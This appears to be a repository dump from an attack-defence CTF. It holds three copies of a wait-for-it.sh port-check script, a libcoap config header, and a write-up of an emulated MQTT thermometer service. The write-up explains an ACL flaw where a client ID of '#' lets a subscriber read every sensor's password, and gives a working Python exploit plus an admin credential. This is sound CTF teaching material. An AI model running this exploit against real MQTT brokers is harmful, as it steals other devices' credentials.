2 | # Use this script to test if a given TCP host/port are available 3 | 4 | cmdname=$(basename $0) 5 | 6 | echoerr() { if [[ $QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } 7 | 8 | usage() 9 | { 10 | cat << USAGE >&2 11 | Usage: 12 | $cmdname host:port [-s] [-t timeout] [-- command args] 13 | -h HOST | --host=HOST Host or IP under test 14 | -p PORT | --port=PORT TCP port under test 15 | Alternatively, you specify the host and port as host:port 16 | -s | --strict Only execute subcommand if the test succeeds 17 | -q | --quiet Don't output any status messages 18 | -t TIMEOUT | --timeout=TIMEOUT 19 | Timeout in seconds, zero for no timeout 20 | -- COMMAND ARGS Execute command with args after the test finishes 21 | USAGE 22 | exit 1 23 | } 24 | 25 | wait_for() 26 | { 27 | if [[ $TIMEOUT -gt 0 ]]; then 28 | echoerr "$cmdname: waiting $TIMEOUT seconds for $HOST:$PORT" 29 | else 30 | echoerr "$cmdname: waiting for $HOST:$PORT without a timeout" 31 | fi 32 | start_ts=$(date +%s) 33 | while : 34 | do 35 | (echo > /dev/tcp/$HOST/$PORT) >/dev/null 2>&1 36 | result=$? 37 | if [[ $result -eq 0 ]]; then 38 | end_ts=$(date +%s) 39 | echoerr "$cmdname: $HOST:$PORT is available after $((end_ts - start_ts)) seconds" 40 | break 41 | fi 42 | sleep 1 43 | done 44 | return $result 45 | } 46 | 47 | wait_for_wrapper() 48 | { 49 | # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 50 | if [[ $QUIET -eq 1 ]]; then 51 | timeout $TIMEOUT $0 --quiet --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 52 | else 53 | timeout $TIMEOUT $0 --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 54 | fi 55 | PID=$! 56 | trap "kill -INT -$PID" INT 57 | wait $PID 58 | RESULT=$? 59 | if [[ $RESULT -ne 0 ]]; then 60 | echoerr "$cmdname: timeout occurred after waiting $TIMEOUT seconds for $HOST:$PORT" 61 | fi 62 | return $RESULT 63 | } 64 | 65 | # process arguments 66 | while [[ $# -gt 0 ]] 67 | do 68 | case "$1" in 69 | *:* ) 70 | hostport=(${1//:/ }) 71 | HOST=${hostport[0]} 72 | PORT=${hostport[1]} 73 | shift 1 74 | ;; 75 | --child) 76 | CHILD=1 77 | shift 1 78 | ;; 79 | -q | --quiet) 80 | QUIET=1 81 | shift 1 82 | ;; 83 | -s | --strict) 84 | STRICT=1 85 | shift 1 86 | ;; 87 | -h) 88 | HOST="$2" 89 | if [[ $HOST == "" ]]; then break; fi 90 | shift 2 91 | ;; 92 | --host=*) 93 | HOST="${1#*=}" 94 | shift 1 95 | ;; 96 | -p) 97 | PORT="$2" 98 | if [[ $PORT == "" ]]; then break; fi 99 | shift 2 100 | ;; 101 | --port=*) 102 | PORT="${1#*=}" 103 | shift 1 104 | ;; 105 | -t) 106 | TIMEOUT="$2" 107 | if [[ $TIMEOUT == "" ]]; then break; fi 108 | shift 2 109 | ;; 110 | --timeout=*) 111 | TIMEOUT="${1#*=}" 112 | shift 1 113 | ;; 114 | --) 115 | shift 116 | CLI="$@" 117 | break 118 | ;; 119 | --help) 120 | usage 121 | ;; 122 | *) 123 | echoerr "Unknown argument: $1" 124 | usage 125 | ;; 126 | esac 127 | done 128 | 129 | if [[ "$HOST" == "" || "$PORT" == "" ]]; then 130 | echoerr "Error: you need to provide a host and port to test." 131 | usage 132 | fi 133 | 134 | TIMEOUT=${TIMEOUT:-15} 135 | STRICT=${STRICT:-0} 136 | CHILD=${CHILD:-0} 137 | QUIET=${QUIET:-0} 138 | 139 | if [[ $CHILD -gt 0 ]]; then 140 | wait_for 141 | RESULT=$? 142 | exit $RESULT 143 | else 144 | if [[ $TIMEOUT -gt 0 ]]; then 145 | wait_for_wrapper 146 | RESULT=$? 147 | else 148 | wait_for 149 | RESULT=$? 150 | fi 151 | fi 152 | 153 | if [[ $CLI != "" ]]; then 154 | if [[ $RESULT -ne 0 && $STRICT -eq 1 ]]; then 155 | echoerr "$cmdname: strict mode, refusing to execute subprocess" 156 | exit $RESULT 157 | fi 158 | exec $CLI 159 | else 160 | exit $RESULT 161 | fi 162 | -------------------------------------------------------------------------------- /services/thermometer/mosquitto/wait-for-it.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Use this script to test if a given TCP host/port are available 3 | 4 | cmdname=$(basename $0) 5 | 6 | echoerr() { if [[ $QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } 7 | 8 | usage() 9 | { 10 | cat << USAGE >&2 11 | Usage: 12 | $cmdname host:port [-s] [-t timeout] [-- command args] 13 | -h HOST | --host=HOST Host or IP under test 14 | -p PORT | --port=PORT TCP port under test 15 | Alternatively, you specify the host and port as host:port 16 | -s | --strict Only execute subcommand if the test succeeds 17 | -q | --quiet Don't output any status messages 18 | -t TIMEOUT | --timeout=TIMEOUT 19 | Timeout in seconds, zero for no timeout 20 | -- COMMAND ARGS Execute command with args after the test finishes 21 | USAGE 22 | exit 1 23 | } 24 | 25 | wait_for() 26 | { 27 | if [[ $TIMEOUT -gt 0 ]]; then 28 | echoerr "$cmdname: waiting $TIMEOUT seconds for $HOST:$PORT" 29 | else 30 | echoerr "$cmdname: waiting for $HOST:$PORT without a timeout" 31 | fi 32 | start_ts=$(date +%s) 33 | while : 34 | do 35 | (echo > /dev/tcp/$HOST/$PORT) >/dev/null 2>&1 36 | result=$? 37 | if [[ $result -eq 0 ]]; then 38 | end_ts=$(date +%s) 39 | echoerr "$cmdname: $HOST:$PORT is available after $((end_ts - start_ts)) seconds" 40 | break 41 | fi 42 | sleep 1 43 | done 44 | return $result 45 | } 46 | 47 | wait_for_wrapper() 48 | { 49 | # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 50 | if [[ $QUIET -eq 1 ]]; then 51 | timeout $TIMEOUT $0 --quiet --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 52 | else 53 | timeout $TIMEOUT $0 --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 54 | fi 55 | PID=$! 56 | trap "kill -INT -$PID" INT 57 | wait $PID 58 | RESULT=$? 59 | if [[ $RESULT -ne 0 ]]; then 60 | echoerr "$cmdname: timeout occurred after waiting $TIMEOUT seconds for $HOST:$PORT" 61 | fi 62 | return $RESULT 63 | } 64 | 65 | # process arguments 66 | while [[ $# -gt 0 ]] 67 | do 68 | case "$1" in 69 | *:* ) 70 | hostport=(${1//:/ }) 71 | HOST=${hostport[0]} 72 | PORT=${hostport[1]} 73 | shift 1 74 | ;; 75 | --child) 76 | CHILD=1 77 | shift 1 78 | ;; 79 | -q | --quiet) 80 | QUIET=1 81 | shift 1 82 | ;; 83 | -s | --strict) 84 | STRICT=1 85 | shift 1 86 | ;; 87 | -h) 88 | HOST="$2" 89 | if [[ $HOST == "" ]]; then break; fi 90 | shift 2 91 | ;; 92 | --host=*) 93 | HOST="${1#*=}" 94 | shift 1 95 | ;; 96 | -p) 97 | PORT="$2" 98 | if [[ $PORT == "" ]]; then break; fi 99 | shift 2 100 | ;; 101 | --port=*) 102 | PORT="${1#*=}" 103 | shift 1 104 | ;; 105 | -t) 106 | TIMEOUT="$2" 107 | if [[ $TIMEOUT == "" ]]; then break; fi 108 | shift 2 109 | ;; 110 | --timeout=*) 111 | TIMEOUT="${1#*=}" 112 | shift 1 113 | ;; 114 | --) 115 | shift 116 | CLI="$@" 117 | break 118 | ;; 119 | --help) 120 | usage 121 | ;; 122 | *) 123 | echoerr "Unknown argument: $1" 124 | usage 125 | ;; 126 | esac 127 | done 128 | 129 | if [[ "$HOST" == "" || "$PORT" == "" ]]; then 130 | echoerr "Error: you need to provide a host and port to test." 131 | usage 132 | fi 133 | 134 | TIMEOUT=${TIMEOUT:-15} 135 | STRICT=${STRICT:-0} 136 | CHILD=${CHILD:-0} 137 | QUIET=${QUIET:-0} 138 | 139 | if [[ $CHILD -gt 0 ]]; then 140 | wait_for 141 | RESULT=$? 142 | exit $RESULT 143 | else 144 | if [[ $TIMEOUT -gt 0 ]]; then 145 | wait_for_wrapper 146 | RESULT=$? 147 | else 148 | wait_for 149 | RESULT=$? 150 | fi 151 | fi 152 | 153 | if [[ $CLI != "" ]]; then 154 | if [[ $RESULT -ne 0 && $STRICT -eq 1 ]]; then 155 | echoerr "$cmdname: strict mode, refusing to execute subprocess" 156 | exit $RESULT 157 | fi 158 | exec $CLI 159 | else 160 | exit $RESULT 161 | fi 162 | -------------------------------------------------------------------------------- /services/thermometer/mqtt-db/wait-for-it.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # Use this script to test if a given TCP host/port are available 3 | 4 | cmdname=$(basename $0) 5 | 6 | echoerr() { if [[ $QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } 7 | 8 | usage() 9 | { 10 | cat << USAGE >&2 11 | Usage: 12 | $cmdname host:port [-s] [-t timeout] [-- command args] 13 | -h HOST | --host=HOST Host or IP under test 14 | -p PORT | --port=PORT TCP port under test 15 | Alternatively, you specify the host and port as host:port 16 | -s | --strict Only execute subcommand if the test succeeds 17 | -q | --quiet Don't output any status messages 18 | -t TIMEOUT | --timeout=TIMEOUT 19 | Timeout in seconds, zero for no timeout 20 | -- COMMAND ARGS Execute command with args after the test finishes 21 | USAGE 22 | exit 1 23 | } 24 | 25 | wait_for() 26 | { 27 | if [[ $TIMEOUT -gt 0 ]]; then 28 | echoerr "$cmdname: waiting $TIMEOUT seconds for $HOST:$PORT" 29 | else 30 | echoerr "$cmdname: waiting for $HOST:$PORT without a timeout" 31 | fi 32 | start_ts=$(date +%s) 33 | while : 34 | do 35 | (echo > /dev/tcp/$HOST/$PORT) >/dev/null 2>&1 36 | result=$? 37 | if [[ $result -eq 0 ]]; then 38 | end_ts=$(date +%s) 39 | echoerr "$cmdname: $HOST:$PORT is available after $((end_ts - start_ts)) seconds" 40 | break 41 | fi 42 | sleep 1 43 | done 44 | return $result 45 | } 46 | 47 | wait_for_wrapper() 48 | { 49 | # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 50 | if [[ $QUIET -eq 1 ]]; then 51 | timeout $TIMEOUT $0 --quiet --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 52 | else 53 | timeout $TIMEOUT $0 --child --host=$HOST --port=$PORT --timeout=$TIMEOUT & 54 | fi 55 | PID=$! 56 | trap "kill -INT -$PID" INT 57 | wait $PID 58 | RESULT=$? 59 | if [[ $RESULT -ne 0 ]]; then 60 | echoerr "$cmdname: timeout occurred after waiting $TIMEOUT seconds for $HOST:$PORT" 61 | fi 62 | return $RESULT 63 | } 64 | 65 | # process arguments 66 | while [[ $# -gt 0 ]] 67 | do 68 | case "$1" in 69 | *:* ) 70 | hostport=(${1//:/ }) 71 | HOST=${hostport[0]} 72 | PORT=${hostport[1]} 73 | shift 1 74 | ;; 75 | --child) 76 | CHILD=1 77 | shift 1 78 | ;; 79 | -q | --quiet) 80 | QUIET=1 81 | shift 1 82 | ;; 83 | -s | --strict) 84 | STRICT=1 85 | shift 1 86 | ;; 87 | -h) 88 | HOST="$2" 89 | if [[ $HOST == "" ]]; then break; fi 90 | shift 2 91 | ;; 92 | --host=*) 93 | HOST="${1#*=}" 94 | shift 1 95 | ;; 96 | -p) 97 | PORT="$2" 98 | if [[ $PORT == "" ]]; then break; fi 99 | shift 2 100 | ;; 101 | --port=*) 102 | PORT="${1#*=}" 103 | shift 1 104 | ;; 105 | -t) 106 | TIMEOUT="$2" 107 | if [[ $TIMEOUT == "" ]]; then break; fi 108 | shift 2 109 | ;; 110 | --timeout=*) 111 | TIMEOUT="${1#*=}" 112 | shift 1 113 | ;; 114 | --) 115 | shift 116 | CLI="$@" 117 | break 118 | ;; 119 | --help) 120 | usage 121 | ;; 122 | *) 123 | echoerr "Unknown argument: $1" 124 | usage 125 | ;; 126 | esac 127 | done 128 | 129 | if [[ "$HOST" == "" || "$PORT" == "" ]]; then 130 | echoerr "Error: you need to provide a host and port to test." 131 | usage 132 | fi 133 | 134 | TIMEOUT=${TIMEOUT:-15} 135 | STRICT=${STRICT:-0} 136 | CHILD=${CHILD:-0} 137 | QUIET=${QUIET:-0} 138 | 139 | if [[ $CHILD -gt 0 ]]; then 140 | wait_for 141 | RESULT=$? 142 | exit $RESULT 143 | else 144 | if [[ $TIMEOUT -gt 0 ]]; then 145 | wait_for_wrapper 146 | RESULT=$? 147 | else 148 | wait_for 149 | RESULT=$? 150 | fi 151 | fi 152 | 153 | if [[ $CLI != "" ]]; then 154 | if [[ $RESULT -ne 0 && $STRICT -eq 1 ]]; then 155 | echoerr "$cmdname: strict mode, refusing to execute subprocess" 156 | exit $RESULT 157 | fi 158 | exec $CLI 159 | else 160 | exit $RESULT 161 | fi 162 | -------------------------------------------------------------------------------- /writeups/thermometer.md: -------------------------------------------------------------------------------- 1 | # Thermometer service 2 | 3 | ## About 4 | 5 | Thermometer service emulates smart temperature module. It consists of four elements: MQTT-broker, MySQL database, themperature sensor and web interface for management. 6 | 7 | ### MQTT broker 8 | 9 | Docker image `thermometer/mqtt-broker` contains [Mosquitto](https://mosquitto.org/) MQTT broker. 10 | As written on the [mosquitto.org](https://mosquitto.org/): 11 | >Eclipse Mosquitto™ is an open source (EPL/EDL licensed) message broker that implements the MQTT protocol versions 3.1 and 3.1.1. MQTT provides a lightweight method of carrying out messaging using a publish/subscribe model. This makes it suitable for "Internet of Things" messaging such as with low power sensors or mobile devices such as phones, embedded computers or microcontrollers like the Arduino. 12 | 13 | It supports client authentication (users + passwords) and authorization (acls). To store authentication and authorization information in MySQL Mosquitto uses [mosquitto-auth-plug](https://github.com/jpmens/mosquitto-auth-plug) authentication plugin. This information is stored in the `mqtt.users` and `mqtt.acls` tables. 14 | 15 | `thermometer/mqtt-broker` docker image exposes 1883 tcp port outside. Sensor uses broker to send temperature data, client - to read data from sensors. 16 | 17 | ### MySQL 18 | 19 | Docker image `thermometer/mqtt-db` wraps MySQL server. It contains single db (`mqtt`), two tables (`users` and `acls`) and two users (`mqtt_broker` and `thermometer_module`). 20 | MQTT broker uses `mqtt_broker` user to read auth info from `mqtt-db` database. 21 | Thermometer module uses `thermometer_module` user to add new MQTT users and acls for them. 22 | 23 | ### Termometer Sensor 24 | 25 | Docker image `thermometer/sensor` contains an emulator of temperature sensor. It sends current (random) temperature to MQTT topic `house/temperature`. 26 | To allow sensor to send temperature data, `admin` user should add MQTT authentication info for the sensor. He can do it via Termometer Module web interface. 27 | 28 | After that sensor can publish temperature to `house/temperature` topic. 29 | 30 | ### Temperature Module 31 | 32 | Docker image `thermometer/module` contains service to manage MQTT authentication and authorization. 33 | It allows admin user (`admin:webrelay`) to: 34 | * create MQTT user (`:`) and acl (permission to write to `house/temperature` topic) for sensor. 35 | * create MQTT user (`:`) and acl (permission to read from `house/temperature` topic) for temperature data consumer. 36 | 37 | Module exposes HTTP port 8888 outside. 38 | 39 | ## Vulnerabilities 40 | 41 | ### Read sensor authentication info 42 | 43 | Thermometer module authorises sensor via MQTT: it sends MQTT password to topic `house/authorization/`. 44 | To disallow to read other sensor password (flag) there is an acl rule in `mqtt.acls` table: 45 | 46 | ``` 47 | +----+--------------------+------------------------+----+ 48 | | id | username | topic | rw | 49 | +----+--------------------+------------------------+----+ 50 | | .. | .. | .. | .. | 51 | | 2 | anonymous | house/authorization/%c | 1 | 52 | | .. | .. | .. | .. | 53 | +----+--------------------+------------------------+----+ 54 | ``` 55 | 56 | This rule expands `house/authorization/%c` to `house/authorization/`. 57 | 58 | But if you pass `#` as `mqtt_client_id` you will get new MQTT passwords (flags) after subscribing to topic `house/authorization/#`. 59 | 60 | Exploit: 61 | 62 | ```python 63 | #!/usr/bin/env python3 64 | 65 | import paho.mqtt.client as mqtt 66 | import sys 67 | 68 | def on_connect(client, userdata, flags, rc): 69 | print("Connected to MQTT broker.") 70 | client.subscribe("house/authorization/#") 71 | print("Subscribed to topic 'house/authorization/#'.") 72 | print("Waiting for flags...") 73 | 74 | def on_message(client, userdata, msg): 75 | print(msg.payload) 76 | 77 | def exploit(host): 78 | client = mqtt.Client(client_id="#", clean_session=True) 79 | client.on_connect = on_connect 80 | client.on_message = on_message 81 | 82 | print("Connecting to MQTT broker on %s" % host) 83 | client.connect(host, 1883, 60) 84 | client.loop_forever() 85 | 86 | 87 | if __name__ == "__main__": 88 | if len(sys.argv) != 2: 89 | print('USAGE: %s ' % sys.argv[0]) 90 | exit(-1) 91 | 92 | sys.exit(exploit(sys.argv[1])) 93 | ``` 94 | -------------------------------------------------------------------------------- /services/doorlock/include/coap_config.h: -------------------------------------------------------------------------------- 1 | /* coap_config.h. Generated from coap_config.h.in by configure. */ 2 | /* coap_config.h.in. Generated from configure.ac by autoheader. */ 3 | 4 | /* Define if building universal (internal helper macro) */ 5 | /* #undef AC_APPLE_UNIVERSAL_BUILD */ 6 | 7 | /* Define to 1 if you have the header file. */ 8 | #define HAVE_ARPA_INET_H 1 9 | 10 | /* Define to 1 if you have the header file. */ 11 | #define HAVE_ASSERT_H 1 12 | 13 | /* Define to 1 if you have the header file. */ 14 | #define HAVE_DLFCN_H 1 15 | 16 | /* Define to 1 if you have the `getaddrinfo' function. */ 17 | #define HAVE_GETADDRINFO 1 18 | 19 | /* Define to 1 if you have the header file. */ 20 | #define HAVE_INTTYPES_H 1 21 | 22 | /* Define if the system has libcunit */ 23 | /* #undef HAVE_LIBCUNIT */ 24 | 25 | /* Define to 1 if you have the header file. */ 26 | #define HAVE_LIMITS_H 1 27 | 28 | /* Define to 1 if you have the `malloc' function. */ 29 | #define HAVE_MALLOC 1 30 | 31 | /* Define to 1 if you have the header file. */ 32 | #define HAVE_MEMORY_H 1 33 | 34 | /* Define to 1 if you have the `memset' function. */ 35 | #define HAVE_MEMSET 1 36 | 37 | /* Define to 1 if you have the header file. */ 38 | #define HAVE_NETDB_H 1 39 | 40 | /* Define to 1 if you have the header file. */ 41 | #define HAVE_NETINET_IN_H 1 42 | 43 | /* Define to 1 if you have the `select' function. */ 44 | #define HAVE_SELECT 1 45 | 46 | /* Define to 1 if you have the `socket' function. */ 47 | #define HAVE_SOCKET 1 48 | 49 | /* Define to 1 if you have the header file. */ 50 | #define HAVE_STDINT_H 1 51 | 52 | /* Define to 1 if you have the header file. */ 53 | #define HAVE_STDLIB_H 1 54 | 55 | /* Define to 1 if you have the `strcasecmp' function. */ 56 | #define HAVE_STRCASECMP 1 57 | 58 | /* Define to 1 if you have the header file. */ 59 | #define HAVE_STRINGS_H 1 60 | 61 | /* Define to 1 if you have the header file. */ 62 | #define HAVE_STRING_H 1 63 | 64 | /* Define to 1 if you have the `strnlen' function. */ 65 | #define HAVE_STRNLEN 1 66 | 67 | /* Define to 1 if you have the `strrchr' function. */ 68 | #define HAVE_STRRCHR 1 69 | 70 | /* Define to 1 if you have the header file. */ 71 | #define HAVE_SYSLOG_H 1 72 | 73 | /* Define to 1 if you have the header file. */ 74 | #define HAVE_SYS_SOCKET_H 1 75 | 76 | /* Define to 1 if you have the header file. */ 77 | #define HAVE_SYS_STAT_H 1 78 | 79 | /* Define to 1 if you have the header file. */ 80 | #define HAVE_SYS_TIME_H 1 81 | 82 | /* Define to 1 if you have the header file. */ 83 | #define HAVE_SYS_TYPES_H 1 84 | 85 | /* Define to 1 if you have the header file. */ 86 | #define HAVE_SYS_UNISTD_H 1 87 | 88 | /* Define to 1 if you have the header file. */ 89 | #define HAVE_TIME_H 1 90 | 91 | /* Define to 1 if you have the header file. */ 92 | #define HAVE_UNISTD_H 1 93 | 94 | /* Define to the sub-directory where libtool stores uninstalled libraries. */ 95 | #define LT_OBJDIR ".libs/" 96 | 97 | /* Define to the address where bug reports for this package should be sent. */ 98 | #define PACKAGE_BUGREPORT "libcoap-developers@lists.sourceforge.net" 99 | 100 | /* Define to the full name of this package. */ 101 | #define PACKAGE_NAME "libcoap" 102 | 103 | /* Define to the full name and version of this package. */ 104 | #define PACKAGE_STRING "libcoap 4.1.2" 105 | 106 | /* Define to the one symbol short name of this package. */ 107 | #define PACKAGE_TARNAME "libcoap" 108 | 109 | /* Define to the home page for this package. */ 110 | #define PACKAGE_URL "https://libcoap.net/" 111 | 112 | /* Define to the version of this package. */ 113 | #define PACKAGE_VERSION "4.1.2" 114 | 115 | /* Define to 1 if you have the ANSI C header files. */ 116 | #define STDC_HEADERS 1 117 | 118 | /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most 119 | significant byte first (like Motorola and SPARC, unlike Intel). */ 120 | #if defined AC_APPLE_UNIVERSAL_BUILD 121 | # if defined __BIG_ENDIAN__ 122 | # define WORDS_BIGENDIAN 1 123 | # endif 124 | #else 125 | # ifndef WORDS_BIGENDIAN 126 | /* # undef WORDS_BIGENDIAN */ 127 | # endif 128 | #endif 129 | 130 | /* Define this to 1 for ancillary data on MacOS */ 131 | /* #undef __APPLE_USE_RFC_3542 */ 132 | 133 | /* Define to `unsigned int' if does not define. */ 134 | /* #undef size_t */ 135 | 136 | /* Define to `int' if does not define. */ 137 | /* #undef ssize_t */ 138 | --------------------------------------------------------------------------------